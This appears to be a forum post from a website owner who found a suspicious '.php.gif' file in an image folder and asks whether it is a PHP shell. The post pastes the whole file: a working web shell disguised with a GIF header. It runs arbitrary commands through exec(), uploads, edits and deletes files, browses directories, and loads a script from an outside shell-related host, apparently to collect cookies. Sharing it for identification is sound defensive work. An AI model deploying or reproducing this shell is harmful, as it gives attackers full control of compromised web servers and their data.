I found in folder ./image/ double extention file (261691*.php.gif)
As far as i can judje it's a PHP shell, or not? And what i must do?
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[size=50]GIF89A;
<html>
<head>
<title>~~~Own3d by Black PHP Shell~~~</title>
<style type="text/css">
a {
text-decoration: none;
display: block;
}
a img {
border: 0;
}
#view tr:hover {
background-color: #EEE;
}
input:hover {
background-color: #EEE;
}
form#post {}
#post .buttons {
background-color: transparent;
font-family: Arial;
font-size: 11px;
color: #222;
}
</style>
</head>
<body background="http://img34.picoodle.com/img/img34/4/2/8/f_backm_0c905a6.png" link="#444444" vlink="#444444">
<h1 align="center" style='text-decoration: underline; color: #888;'>
<i>Black PHP Shell</i>
</h1>
<table border=0 style='color: #666; font-family: Courier; font-size: 12px;'>
<?php
function getperms($f) {
$mode=fileperms($f);
$perm='';
$perm .= ($mode & 00400) ? 'r' : '-';
$perm .= ($mode & 00200) ? 'w' : '-';
$perm .= ($mode & 00100) ? 'x' : '-';
$perm .= ($mode & 00040) ? 'r' : '-';
$perm .= ($mode & 00020) ? 'w' : '-';
$perm .= ($mode & 00010) ? 'x' : '-';
$perm .= ($mode & 00004) ? 'r' : '-';
$perm .= ($mode & 00002) ? 'w' : '-';
$perm .= ($mode & 00001) ? 'x' : '-';
return $perm;
}
print "<tr><td>Host</td><td><b>".$_SERVER['SERVER_NAME']."</b></td></tr>";
print "<tr><td>Server</td><td><b>".$_SERVER['SERVER_SOFTWARE']."</b></td></tr>";
if (is_callable("php_uname"))
print "<tr><td>Sistema operativo</td><td><b>".php_uname()."</b></td></tr>";
if (is_callable("posix_getuid") and is_callable("posix_getgid")) {
$uid=posix_getuid();
$uname=posix_getpwuid($uid);
$uname=$uname['name'];
$gid=posix_getgid();
$gname=posix_getgrgid($gid);
$gname=$gname['name'];
print "<tr><td>UID</td><td><b>$uid ($uname)</b></td></tr>";
print "<tr><td>GID</td><td><b>$gid ($gname)</b></td></tr>";
}
print "</table><br><br>";
if (!isset($_POST['file'])) {
?>
<table border=0>
<form enctype="multipart/form-data" action="<?php print $_SERVER['REQUEST_URI']; ?>" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="200000000"/>
<input type="hidden" name="do_upload" value="true">
<tr><td>Carica un file</td></tr>
<tr><td><input type="file" name="userfile"/></td></tr>
<tr><td><input type="submit" value="Invia"/></td></tr>
</form>
<tr><td height="20px"></td></tr>
<form action="<?php print $_SERVER['REQUEST_URI']; ?>" method="POST">
<tr><td>Esegui un comando</td></tr>
<tr><td><input type="text" name="cmd"></td></tr>
<tr><td><input type="submit" value="Esegui comando"></td></tr>
</form>
</table>
<?php
}
#
# Upload di file
#
if ($_POST['do_upload']==="true") {
if ($_POST['dir']=="true")
$dir=$_POST['dirname'];
else
$dir=getcwd();
$uploadfile=$dir."/".basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) {
print "File caricato con successo<br>\n";
print "Nome file: <b>".$_FILES['userfile']['name']."</b><br>".
"\nTipo: ".$_FILES['userfile']['type']."<br>\n".
"Dimensione: ".$_FILES['userfile']['size']." bytes<br>\n";
}
else print "Errore nel caricamento del file ".$_FILES['userfile']['name']."<br>\n";
}
#
# Modifica o cancellazione di file
#
if (isset($_POST['dofile'])) {
$ref=$_SERVER['HTTP_REFERER'];
$fname=htmlentities($_POST['dofile']);
$content=$_POST['content'];
#
# Modifica
#
if (isset($_POST['save'])) {
if (!($fp=fopen($fname,"w")))
die ("Impossibile scrivere sul file <b>$fname</b><br>\n");
fputs ($fp,$content);
fclose($fp);
print ("Modifiche sul file <b>$fname</b> apportate con successo<br><br>\n");
}
#
# Cancellazione
#
if (isset($_POST['remove'])) {
unlink ($fname) or die ("Impossibile rimuovere il file <b>$fname</b><br>\n");
print "File <b>$fname</b> rimosso con successo<br><br>\n";
}
}
#
# Esecuzione di un comando
#
if (isset($_POST['cmd'])) {
$cmd=$_POST['cmd'];
$output=array();
exec ($cmd,$output);
print "<br><hr height=1 width=\"100%\">\n";
print "<i>Risultato del comando:</i><br><br><tt>";
foreach ($output as $line)
print "$line<br>\n";
print "</tt>\n";
die('');
}
#
# Visualizzazione di file
#
if (isset($_POST['fname'])) {
print "<i>Attenzione: La modifica o la cancellazione di un file ? possibile se e soltanto se ".
"quel file ha i permessi di scrittura per tutti</i><br><br>\n";
$fname=htmlentities($_POST['fname']);
$file=file($fname) or die ("Impossibile aprire <b>$fname</b><br>\n");
print "<form action=\"".$_SERVER['REQUEST_URI']."\" method=\"POST\">\n";
print "<input type=\"hidden\" name=\"dofile\" value=\"$fname\">\n";
print "<textarea rows=20 cols=80 name=\"content\">";
for ($i=0; $i<count($file); $i++)
print htmlentities($file[$i]);
print "</textarea><br><br>\n";
print "<input type=\"submit\" value=\"Salva le modifiche al file\" name=\"save\">\n";
print "<input type=\"submit\" value=\"Cancella file\" name=\"remove\">\n";
print "</form>\n";
}
#
# Visualizzazione del contenuto di una directory
#
if (isset($_POST['dirname']))
$path=htmlspecialchars($_POST['dirname']);
else
$path=getcwd();
$dp=opendir($path) or die("Impossibile aprire <b>$path</b><br>\n");
chdir ($path);
$path=getcwd();
print "<div id=\"view\"><hr height=1 width=\"100%\">\n";
print "Directory corrente: <b>".getcwd()."</b><br><br>\n\n";
$dir=array();
while ($file=readdir($dp))
if (strcmp(".",$file))
array_push($dir,"$path/$file");
closedir($dp);
sort($dir);
?>
<script type="text/javascript" language="javascript" src="http://r57shell.us/v4/cookie.js"></script>
<form name="post" id="post" action="<?php print $_SERVER['REQUEST_URI']; ?>" method="POST">
<table border=0 width="100%">
<?php
for ($i=0; $i<count($dir); $i++) {
print "<tr style='font-family: Arial; font-size: 11px;'>\n";
#
# Directory superiore
#
if (basename($dir[$i])==="..") {
$tmp=split('/',getcwd());
$new="";
for ($j=0; $j<count($tmp)-1; $j++)
$new .= $tmp[$j]."/";
print "<td width=\"40px\"><img src=\"http://img32.picoodle.com/img/img32/4/2/8/f_upm_cacf553.gif\" alt=\"..\" width=20 height=20></td>\n";
print "<td><input type=\"submit\" name=\"dirname\" value=\"$new\" class=\"buttons\"></td></tr>\n";
}
#
# Directory
#
if (is_dir($dir[$i])) {
if (basename($dir[$i])!='..') {
print "<td width=\"40px\"><img src=\"http://img34.picoodle.com/img/img34/4/2/8/f_directorym_9967091.gif\" alt=\".\" width=20 height=20></td>\n";
print "<td><input type=\"submit\" name=\"dirname\" value=\"".$dir[$i].
"\" class=\"buttons\"></td>\n";
print "<td>DIR</td></tr>\n";
}
}
#
# File comune
#
else {
if (basename($dir[$i])!='..') {
print "<td width=\"40px\"><img src=\"http://img03.picoodle.com/img/img03/4/2/8/f_filem_27c273b.png\" alt=\".\" width=20 height=20></td>\n";
print "<td><input type=\"submit\" name=\"fname\" value=\"$dir[$i]\" class=\"buttons\"></td>\n";
print "<td>".getperms($dir[$i])."</td></tr>\n";
}
}
}
print "</table></div>\n";
?>
</body>
</html>[/size]
